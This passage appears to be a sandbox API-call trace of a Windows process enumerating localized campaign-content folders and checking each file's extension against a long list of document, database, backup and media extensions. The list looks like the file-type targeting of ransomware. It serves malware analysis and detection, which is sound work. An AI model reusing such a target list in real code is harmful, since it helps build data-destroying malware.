(in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92906e91, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x248, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.790] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x929796cf, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x929796cf, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.790] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92eb078f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ab, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.790] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92eb078f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ab, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.790] FindClose (in: hFindFile=0x484b58 | out: hFindFile=0x484b58) returned 1 [0184.791] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0184.791] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a33d41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x934cc975, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0184.792] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0184.792] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a33d41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x934cc975, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b58 [0184.794] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a33d41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x934cc975, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.794] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92eb078f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9702, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.794] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93007e14, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93007e14, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.794] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93007e14, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93007e14, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x187, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.795] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x934cc975, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.795] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x934cc975, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.795] FindClose (in: hFindFile=0x484b58 | out: hFindFile=0x484b58) returned 1 [0184.796] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0184.796] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a36304, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93670243, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1 [0184.796] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0184.796] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\th-TH\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a36304, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93670243, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b58 [0184.799] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a36304, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93670243, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.799] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x934cc975, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x1007a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.799] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x934f2a6a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x934f2a6a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x306, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.799] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x934f2a6a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x934f2a6a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.799] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93670243, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x2b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.799] FindNextFileW (in: hFindFile=0x484b58, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93670243, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x2b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.799] FindClose (in: hFindFile=0x484b58 | out: hFindFile=0x484b58) returned 1 [0184.800] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0184.800] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8b3c077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93991459, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0184.800] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0184.800] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\tr-TR\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8b3c077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93991459, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484d18 [0185.042] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8b3c077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93991459, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0185.042] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93670243, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9cf8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0185.042] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93696451, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93696451, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x248, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0185.042] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938ac51e, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x938ac51e, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0185.042] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93991459, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1af, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0185.058] lstrlenW (lpString="toastreviewsettings.xml") returned 23 [0185.059] lstrlenW (lpString=".1cd") returned 4 [0185.059] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0185.059] lstrlenW (lpString=".3ds") returned 4 [0185.059] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0185.059] lstrlenW (lpString=".3fr") returned 4 [0185.059] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0185.059] lstrlenW (lpString=".3g2") returned 4 [0185.059] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0185.059] lstrlenW (lpString=".3gp") returned 4 [0185.059] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0185.059] lstrlenW (lpString=".7z") returned 3 [0185.059] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0185.059] lstrlenW (lpString=".accda") returned 6 [0185.059] lstrcmpiW (lpString1=".accda", lpString2="gs.xml") returned -1 [0185.059] lstrlenW (lpString=".accdb") returned 6 [0185.059] lstrcmpiW (lpString1=".accdb", lpString2="gs.xml") returned -1 [0185.059] lstrlenW (lpString=".accdc") returned 6 [0185.059] lstrcmpiW (lpString1=".accdc", lpString2="gs.xml") returned -1 [0185.059] lstrlenW (lpString=".accde") returned 6 [0185.059] lstrcmpiW (lpString1=".accde", lpString2="gs.xml") returned -1 [0185.059] lstrlenW (lpString=".accdt") returned 6 [0185.059] lstrcmpiW (lpString1=".accdt", lpString2="gs.xml") returned -1 [0185.059] lstrlenW (lpString=".accdw") returned 6 [0185.059] lstrcmpiW (lpString1=".accdw", lpString2="gs.xml") returned -1 [0185.059] lstrlenW (lpString=".adb") returned 4 [0185.059] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0185.059] lstrlenW (lpString=".adp") returned 4 [0185.059] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0185.059] lstrlenW (lpString=".ai") returned 3 [0185.059] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0185.060] lstrlenW (lpString=".ai3") returned 4 [0185.060] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0185.060] lstrlenW (lpString=".ai4") returned 4 [0185.060] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0185.060] lstrlenW (lpString=".ai5") returned 4 [0185.060] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0185.060] lstrlenW (lpString=".ai6") returned 4 [0185.060] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0185.060] lstrlenW (lpString=".ai7") returned 4 [0185.060] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0185.060] lstrlenW (lpString=".ai8") returned 4 [0185.060] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0185.060] lstrlenW (lpString=".anim") returned 5 [0185.060] lstrcmpiW (lpString1=".anim", lpString2="s.xml") returned -1 [0185.060] lstrlenW (lpString=".arw") returned 4 [0185.060] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0185.060] lstrlenW (lpString=".as") returned 3 [0185.060] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0185.060] lstrlenW (lpString=".asa") returned 4 [0185.060] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0185.060] lstrlenW (lpString=".asc") returned 4 [0185.060] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0185.060] lstrlenW (lpString=".ascx") returned 5 [0185.060] lstrcmpiW (lpString1=".ascx", lpString2="s.xml") returned -1 [0185.060] lstrlenW (lpString=".asm") returned 4 [0185.060] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0185.060] lstrlenW (lpString=".asmx") returned 5 [0185.060] lstrcmpiW (lpString1=".asmx", lpString2="s.xml") returned -1 [0185.060] lstrlenW (lpString=".asp") returned 4 [0185.060] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0185.061] lstrlenW (lpString=".aspx") returned 5 [0185.061] lstrcmpiW (lpString1=".aspx", lpString2="s.xml") returned -1 [0185.061] lstrlenW (lpString=".asr") returned 4 [0185.061] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0185.061] lstrlenW (lpString=".asx") returned 4 [0185.061] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0185.061] lstrlenW (lpString=".avi") returned 4 [0185.061] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0185.061] lstrlenW (lpString=".avs") returned 4 [0185.061] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0185.061] lstrlenW (lpString=".backup") returned 7 [0185.061] lstrcmpiW (lpString1=".backup", lpString2="ngs.xml") returned -1 [0185.061] lstrlenW (lpString=".bak") returned 4 [0185.061] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0185.061] lstrlenW (lpString=".bay") returned 4 [0185.061] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0185.061] lstrlenW (lpString=".bd") returned 3 [0185.061] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0185.061] lstrlenW (lpString=".bin") returned 4 [0185.061] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0185.061] lstrlenW (lpString=".bmp") returned 4 [0185.061] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0185.061] lstrlenW (lpString=".bz2") returned 4 [0185.061] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0185.061] lstrlenW (lpString=".c") returned 2 [0185.061] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0185.061] lstrlenW (lpString=".cdr") returned 4 [0185.061] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0185.061] lstrlenW (lpString=".cer") returned 4 [0185.062] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0185.062] lstrlenW (lpString=".cf") returned 3 [0185.062] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0185.062] lstrlenW (lpString=".cfc") returned 4 [0185.062] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0185.062] lstrlenW (lpString=".cfm") returned 4 [0185.062] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0185.062] lstrlenW (lpString=".cfml") returned 5 [0185.062] lstrcmpiW (lpString1=".cfml", lpString2="s.xml") returned -1 [0185.062] lstrlenW (lpString=".cfu") returned 4 [0185.062] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0185.062] lstrlenW (lpString=".chm") returned 4 [0185.062] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0185.062] lstrlenW (lpString=".cin") returned 4 [0185.062] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0185.062] lstrlenW (lpString=".class") returned 6 [0185.062] lstrcmpiW (lpString1=".class", lpString2="gs.xml") returned -1 [0185.062] lstrlenW (lpString=".clx") returned 4 [0185.062] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0185.062] lstrlenW (lpString=".config") returned 7 [0185.062] lstrcmpiW (lpString1=".config", lpString2="ngs.xml") returned -1 [0185.062] lstrlenW (lpString=".cpp") returned 4 [0185.062] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0185.062] lstrlenW (lpString=".cr2") returned 4 [0185.062] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0185.062] lstrlenW (lpString=".crt") returned 4 [0185.062] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0185.062] lstrlenW (lpString=".crw") returned 4 [0185.062] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0185.062] lstrlenW (lpString=".cs") returned 3 [0185.063] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0185.063] lstrlenW (lpString=".css") returned 4 [0185.063] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0185.063] lstrlenW (lpString=".csv") returned 4 [0185.063] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0185.063] lstrlenW (lpString=".cub") returned 4 [0185.063] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0185.063] lstrlenW (lpString=".dae") returned 4 [0185.063] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0185.063] lstrlenW (lpString=".dat") returned 4 [0185.063] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0185.063] lstrlenW (lpString=".db") returned 3 [0185.063] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0185.063] lstrlenW (lpString=".dbf") returned 4 [0185.063] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0185.063] lstrlenW (lpString=".dbx") returned 4 [0185.063] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0185.063] lstrlenW (lpString=".dc3") returned 4 [0185.063] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0185.063] lstrlenW (lpString=".dcm") returned 4 [0185.063] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0185.063] lstrlenW (lpString=".dcr") returned 4 [0185.063] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0185.063] lstrlenW (lpString=".der") returned 4 [0185.063] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0185.063] lstrlenW (lpString=".dib") returned 4 [0185.063] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0185.063] lstrlenW (lpString=".dic") returned 4 [0185.063] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0185.063] lstrlenW (lpString=".dif") returned 4 [0185.064] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0185.064] lstrlenW (lpString=".divx") returned 5 [0185.064] lstrcmpiW (lpString1=".divx", lpString2="s.xml") returned -1 [0185.064] lstrlenW (lpString=".djvu") returned 5 [0185.064] lstrcmpiW (lpString1=".djvu", lpString2="s.xml") returned -1 [0185.064] lstrlenW (lpString=".dng") returned 4 [0185.064] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0185.064] lstrlenW (lpString=".doc") returned 4 [0185.064] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0185.064] lstrlenW (lpString=".docm") returned 5 [0185.064] lstrcmpiW (lpString1=".docm", lpString2="s.xml") returned -1 [0185.064] lstrlenW (lpString=".docx") returned 5 [0185.064] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0185.064] lstrlenW (lpString=".dot") returned 4 [0185.064] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0185.064] lstrlenW (lpString=".dotm") returned 5 [0185.064] lstrcmpiW (lpString1=".dotm", lpString2="s.xml") returned -1 [0185.064] lstrlenW (lpString=".dotx") returned 5 [0185.064] lstrcmpiW (lpString1=".dotx", lpString2="s.xml") returned -1 [0185.064] lstrlenW (lpString=".dpx") returned 4 [0185.064] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0185.064] lstrlenW (lpString=".dqy") returned 4 [0185.064] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0185.064] lstrlenW (lpString=".dsn") returned 4 [0185.064] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0185.064] 